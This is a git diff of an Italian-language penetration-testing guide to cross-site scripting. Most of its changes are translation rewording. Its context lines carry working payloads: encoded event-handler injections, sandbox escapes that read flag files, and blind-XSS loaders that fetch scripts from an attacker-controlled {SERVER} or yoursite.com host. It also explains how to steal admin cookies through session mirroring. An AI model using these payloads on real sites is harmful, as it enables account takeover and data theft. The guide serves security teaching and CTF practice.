<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Protocollo Speciali All'interno dell'attributo
|
||||
### Protocollo speciali all'interno dell'attributo
|
||||
|
||||
Qui puoi utilizzare i protocolli **`javascript:`** o **`data:`** in alcuni luoghi per **eseguire codice JS arbitrario**. Alcuni richiederanno interazione dell'utente, altri no.
|
||||
```javascript
|
||||
@ -444,7 +444,7 @@ Leggi i [Bypass della Blacklist della sezione precedente](#blacklist-bypasses).
|
||||
|
||||
**Bypass per codice JavaScript**
|
||||
|
||||
Leggi la [blacklist di bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
|
||||
Leggi la [blacklist dei bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -452,7 +452,7 @@ Se hai trovato un **XSS in una parte molto piccola** del web che richiede qualch
|
||||
|
||||
Ad esempio, potresti aggiungere qualche stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Ma, se il WAF sta filtrando l'attributo di stile, puoi usare CSS Styling Gadgets, quindi se trovi, ad esempio
|
||||
Ma, se il WAF sta filtrando l'attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, ad esempio
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -488,7 +488,7 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è conosciuto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è noto come template literals poiché consentono di **incorporare espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backtick, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
|
||||
Questo può essere **abusato** utilizzando:
|
||||
@ -740,7 +740,7 @@ top[8680439..toString(30)](1)
|
||||
## **Vulnerabilità DOM**
|
||||
|
||||
C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
|
||||
**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
|
||||
**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -767,7 +767,7 @@ Forse un utente può condividere il proprio profilo con l'amministratore e se il
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
|
||||
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
|
||||
|
||||
Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
|
||||
|
||||
@ -783,7 +783,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
A causa dell'**assegnazione di massa RoR**, le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
|
||||
A causa dell'**assegnazione di massa RoR**, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
|
||||
Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -872,7 +872,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
La risposta è:
|
||||
|
||||
- **module** (predefinito, nulla da spiegare)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un **`.wbn`** file.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un file **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -927,8 +927,8 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? non nella lista ma penso di averlo visto in un CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
- application/rss+xml (spento)
|
||||
- application/atom+xml (spento)
|
||||
|
||||
In altri browser possono essere utilizzati altri **`Content-Types`** per eseguire JS arbitrario, controlla: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
@ -942,21 +942,21 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Modelli di Sostituzione Speciali
|
||||
### Special Replacement Patterns
|
||||
|
||||
Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Quando qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`** viene utilizzato. L'attaccante potrebbe usare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
Ad esempio in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
### Cache di Chrome a XSS
|
||||
### Chrome Cache to XSS
|
||||
|
||||
{{#ref}}
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### Escape da XS Jails
|
||||
### XS Jails Escape
|
||||
|
||||
Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail:
|
||||
Se hai solo un insieme limitato di caratteri da usare, controlla queste altre soluzioni valide per i problemi di XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -987,14 +987,14 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
|
||||
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
|
||||
|
||||
- Utilizzando import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accessing `require` indirectly
|
||||
- Accedere a `require` in modo indiretto
|
||||
|
||||
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
|
||||
```javascript
|
||||
@ -1053,7 +1053,6 @@ trigger()
|
||||
|
||||
- **Diverse offuscazioni in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1241,7 +1240,7 @@ steal-info-js.md
|
||||
|
||||
### Trappola Iframe
|
||||
|
||||
Costringere l'utente a navigare nella pagina senza uscire da un iframe e rubare le sue azioni (inclusi i dati inviati nei moduli):
|
||||
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusi i dati inviati nei moduli):
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
@ -1432,7 +1431,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payload XSS ciechi
|
||||
### Payloads XSS ciechi
|
||||
|
||||
Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1499,9 +1498,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - Access Hidden Content
|
||||
### Regex - Accesso ai Contenuti Nascosti
|
||||
|
||||
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1524,7 +1523,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Abusare di altre vulnerabilità
|
||||
## XSS Abusando di altre vulnerabilità
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
@ -1536,7 +1535,7 @@ xss-in-markdown.md
|
||||
|
||||
### XSS a SSRF
|
||||
|
||||
Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
|
||||
Hai XSS su un **sito che utilizza caching**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
@ -1626,7 +1625,7 @@ id="foo"/>
|
||||
```
|
||||
Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Altri trucchi JS e informazioni rilevanti
|
||||
## Suggerimenti JS vari e informazioni rilevanti
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user